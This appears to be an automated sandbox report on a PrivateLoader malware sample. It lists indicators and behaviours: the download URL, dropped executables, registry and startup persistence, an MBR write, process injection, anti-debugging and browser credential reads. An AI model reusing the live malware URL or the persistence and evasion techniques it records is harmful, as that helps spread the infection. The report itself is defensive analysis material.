privateloader | hxxps://conducaqueta[.]com/wp-includes/driect/district7845k3[.]rar

System Information Discovery

Processes:

4y1HNAvbvDy4j5ge1NnXrzpF.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4y1HNAvbvDy4j5ge1NnXrzpF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4y1HNAvbvDy4j5ge1NnXrzpF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Drops startup file 1 IoCs

Processes:

4y1HNAvbvDy4j5ge1NnXrzpF.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNT.lnk	4y1HNAvbvDy4j5ge1NnXrzpF.exe

Executes dropped EXE 17 IoCs

Processes:

setup.exe38QvdYNi5VKzUjtsmoG9LlW9.exez1ZQQNKJNNbY8QZLH7lbLgYD.exer99j1zbGXuE0Rgh4_PSS6LgU.exenWdjxDTbCN5FMEEkKSfskTLE.exe1X84PSuuA0y0QaAPi0a8BtoT.exe4y1HNAvbvDy4j5ge1NnXrzpF.exeaUsVW6eQgvmDedjfdg6pBNYa.exeyd4DERbCDGWTwq59gQX94420.exebQLB3FlZKYQi7tYDtfDZjwzi.exeIMoKYPFKgn1syQluedN20JJu.exedVGIT9Tw2szYUM_tcnOl4Mkp.exenWdjxDTbCN5FMEEkKSfskTLE.tmpInstall.exeaudiooutputswitcher32_64.exeaudiooutputswitcher32_64.exeInstall.exe

pid	process
2524	setup.exe
2736	38QvdYNi5VKzUjtsmoG9LlW9.exe
3448	z1ZQQNKJNNbY8QZLH7lbLgYD.exe
2992	r99j1zbGXuE0Rgh4_PSS6LgU.exe
2624	nWdjxDTbCN5FMEEkKSfskTLE.exe
2876	1X84PSuuA0y0QaAPi0a8BtoT.exe
1552	4y1HNAvbvDy4j5ge1NnXrzpF.exe
2028	aUsVW6eQgvmDedjfdg6pBNYa.exe
4592	yd4DERbCDGWTwq59gQX94420.exe
1960	bQLB3FlZKYQi7tYDtfDZjwzi.exe
1736	IMoKYPFKgn1syQluedN20JJu.exe
1856	dVGIT9Tw2szYUM_tcnOl4Mkp.exe
4256	nWdjxDTbCN5FMEEkKSfskTLE.tmp
3664	Install.exe
2068	audiooutputswitcher32_64.exe
2336	audiooutputswitcher32_64.exe
2920	Install.exe

Loads dropped DLL 1 IoCs

Processes:

nWdjxDTbCN5FMEEkKSfskTLE.tmp

pid process

4256 nWdjxDTbCN5FMEEkKSfskTLE.tmp
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4256	nWdjxDTbCN5FMEEkKSfskTLE.tmp

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\SimpleAdobe\4y1HNAvbvDy4j5ge1NnXrzpF.exe	themida
behavioral1/memory/1552-1352-0x00000000001C0000-0x0000000000B4F000-memory.dmp	themida
behavioral1/memory/1552-1838-0x00000000001C0000-0x0000000000B4F000-memory.dmp	themida

Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description ioc

Destination IP 141.98.234.31

description	ioc
Destination IP	141.98.234.31

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

4y1HNAvbvDy4j5ge1NnXrzpF.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-126710838-2490174220-686410903-1000\Software\Microsoft\Windows\CurrentVersion\Run\ExtreamFanV5 = "C:\\Users\\Admin\\AppData\\Local\\ExtreamFanV5\\ExtreamFanV5.exe"	4y1HNAvbvDy4j5ge1NnXrzpF.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

Processes:

4y1HNAvbvDy4j5ge1NnXrzpF.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4y1HNAvbvDy4j5ge1NnXrzpF.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

37 iplogger.org
43 iplogger.org
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

8 api.myip.com
8 ipinfo.io
12 api.myip.com
14 ipinfo.io
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

2224 powercfg.exe
4132 powercfg.exe
2084 powercfg.exe
3644 powercfg.exe
4660 powercfg.exe
1904 powercfg.exe
4668 powercfg.exe
1516 powercfg.exe
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

aUsVW6eQgvmDedjfdg6pBNYa.exe

description ioc process

File opened for modification \??\PHYSICALDRIVE0 aUsVW6eQgvmDedjfdg6pBNYa.exe

flow	ioc
37	iplogger.org
43	iplogger.org

flow	ioc
8	api.myip.com
8	ipinfo.io
12	api.myip.com
14	ipinfo.io

pid	process
2224	powercfg.exe
4132	powercfg.exe
2084	powercfg.exe
3644	powercfg.exe
4660	powercfg.exe
1904	powercfg.exe
4668	powercfg.exe
1516	powercfg.exe

description	ioc	process
File opened for modification	\??\PHYSICALDRIVE0	aUsVW6eQgvmDedjfdg6pBNYa.exe

Drops file in System32 directory 4 IoCs

Processes:

setup.exe

description	ioc	process
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

4y1HNAvbvDy4j5ge1NnXrzpF.exebQLB3FlZKYQi7tYDtfDZjwzi.exe

pid process

1552 4y1HNAvbvDy4j5ge1NnXrzpF.exe
1960 bQLB3FlZKYQi7tYDtfDZjwzi.exe
1960 bQLB3FlZKYQi7tYDtfDZjwzi.exe

pid	process
1552	4y1HNAvbvDy4j5ge1NnXrzpF.exe
1960	bQLB3FlZKYQi7tYDtfDZjwzi.exe
1960	bQLB3FlZKYQi7tYDtfDZjwzi.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

yd4DERbCDGWTwq59gQX94420.exer99j1zbGXuE0Rgh4_PSS6LgU.exedVGIT9Tw2szYUM_tcnOl4Mkp.exez1ZQQNKJNNbY8QZLH7lbLgYD.exe

description	pid	process	target process
PID 4592 set thread context of 32	4592	yd4DERbCDGWTwq59gQX94420.exe	MSBuild.exe
PID 2992 set thread context of 2560	2992	r99j1zbGXuE0Rgh4_PSS6LgU.exe	MSBuild.exe
PID 1856 set thread context of 3668	1856	dVGIT9Tw2szYUM_tcnOl4Mkp.exe	RegAsm.exe
PID 3448 set thread context of 2492	3448	z1ZQQNKJNNbY8QZLH7lbLgYD.exe	RegAsm.exe

Drops file in Windows directory 1 IoCs

Processes:

chrome.exe

description ioc process

File opened for modification C:\Windows\SystemTemp chrome.exe
Launches sc.exe 7 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1088 sc.exe
4324 sc.exe
2136 sc.exe
4932 sc.exe
4500 sc.exe
3152 sc.exe
3352 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

pid	process
1088	sc.exe
4324	sc.exe
2136	sc.exe
4932	sc.exe
4500	sc.exe
3152	sc.exe
3352	sc.exe

Program crash 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3052	2876	WerFault.exe	1X84PSuuA0y0QaAPi0a8BtoT.exe
3776	2084	WerFault.exe	qxehwkdn.exe
2448	228	WerFault.exe	Install.exe
5080	4880	WerFault.exe	MSBuild.exe
4244	4880	WerFault.exe	MSBuild.exe
3048	4880	WerFault.exe	MSBuild.exe
1764	4880	WerFault.exe	MSBuild.exe
1544	2920	WerFault.exe	Install.exe
4800	3164	WerFault.exe	ylKpRBB.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

taskmgr.exetaskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

4976 timeout.exe
1616 timeout.exe

pid	process
4976	timeout.exe
1616	timeout.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

Processes:

Install.exechrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133658894410581676"	chrome.exe

Modifies registry class 1 IoCs

Processes:

chrome.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-126710838-2490174220-686410903-1000_Classes\Local Settings chrome.exe
NTFS ADS 1 IoCs

Processes:

chrome.exe

description ioc process

File opened for modification C:\Users\Admin\Downloads\district7845k3.rar:Zone.Identifier chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-126710838-2490174220-686410903-1000_Classes\Local Settings	chrome.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\district7845k3.rar:Zone.Identifier	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
4792	schtasks.exe
3336	schtasks.exe
5048	schtasks.exe
1636	schtasks.exe
568	schtasks.exe
2056	schtasks.exe
4980	schtasks.exe
664	schtasks.exe
2124	schtasks.exe
404	schtasks.exe
2348	schtasks.exe
2764	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exetaskmgr.exetaskmgr.exesetup.exe

pid	process
1624	chrome.exe
1624	chrome.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
2524	setup.exe
2524	setup.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

7zFM.exetaskmgr.exe

pid process

580 7zFM.exe
1572 taskmgr.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

Processes:

chrome.exe

pid process

1624 chrome.exe
1624 chrome.exe

pid	process
580	7zFM.exe
1572	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe
Token: SeShutdownPrivilege	1624	chrome.exe
Token: SeCreatePagefilePrivilege	1624	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exe

pid	process
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

chrome.exetaskmgr.exetaskmgr.exe

pid	process
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1268	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe
1572	taskmgr.exe

Suspicious use of SetWindowsHookEx 19 IoCs

Processes:

setup.exeaUsVW6eQgvmDedjfdg6pBNYa.exebQLB3FlZKYQi7tYDtfDZjwzi.exe4y1HNAvbvDy4j5ge1NnXrzpF.exeIMoKYPFKgn1syQluedN20JJu.exenWdjxDTbCN5FMEEkKSfskTLE.exe1X84PSuuA0y0QaAPi0a8BtoT.exenWdjxDTbCN5FMEEkKSfskTLE.tmpdVGIT9Tw2szYUM_tcnOl4Mkp.exez1ZQQNKJNNbY8QZLH7lbLgYD.exeMSBuild.exeInstall.exeaudiooutputswitcher32_64.exeMSBuild.exeaudiooutputswitcher32_64.exeRegAsm.exeInstall.exeRegAsm.exe

pid	process
2524	setup.exe
2028	aUsVW6eQgvmDedjfdg6pBNYa.exe
1960	bQLB3FlZKYQi7tYDtfDZjwzi.exe
1552	4y1HNAvbvDy4j5ge1NnXrzpF.exe
1736	IMoKYPFKgn1syQluedN20JJu.exe
2624	nWdjxDTbCN5FMEEkKSfskTLE.exe
2876	1X84PSuuA0y0QaAPi0a8BtoT.exe
4256	nWdjxDTbCN5FMEEkKSfskTLE.tmp
1960	bQLB3FlZKYQi7tYDtfDZjwzi.exe
1856	dVGIT9Tw2szYUM_tcnOl4Mkp.exe
3448	z1ZQQNKJNNbY8QZLH7lbLgYD.exe
32	MSBuild.exe
3664	Install.exe
2068	audiooutputswitcher32_64.exe
2560	MSBuild.exe
2336	audiooutputswitcher32_64.exe
3668	RegAsm.exe
2920	Install.exe
2492	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 1624 wrote to memory of 1676	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1676	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4924	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4588	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4588	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2092	1624	chrome.exe	chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://conducaqueta.com/wp-includes/driect/district7845k3.rar
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1624

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe5e6fcc40,0x7ffe5e6fcc4c,0x7ffe5e6fcc58
2⤵
PID:1676

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1820,i,14181902742403423825,15337050471854034169,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=1816 /prefetch:2
2⤵
PID:4924

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1940,i,14181902742403423825,15337050471854034169,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=2108 /prefetch:3
2⤵
PID:4588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2132,i,14181902742403423825,15337050471854034169,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=2368 /prefetch:8
2⤵
PID:2092

C:\Program Files\Google\Chrome\Application\chrome.exe
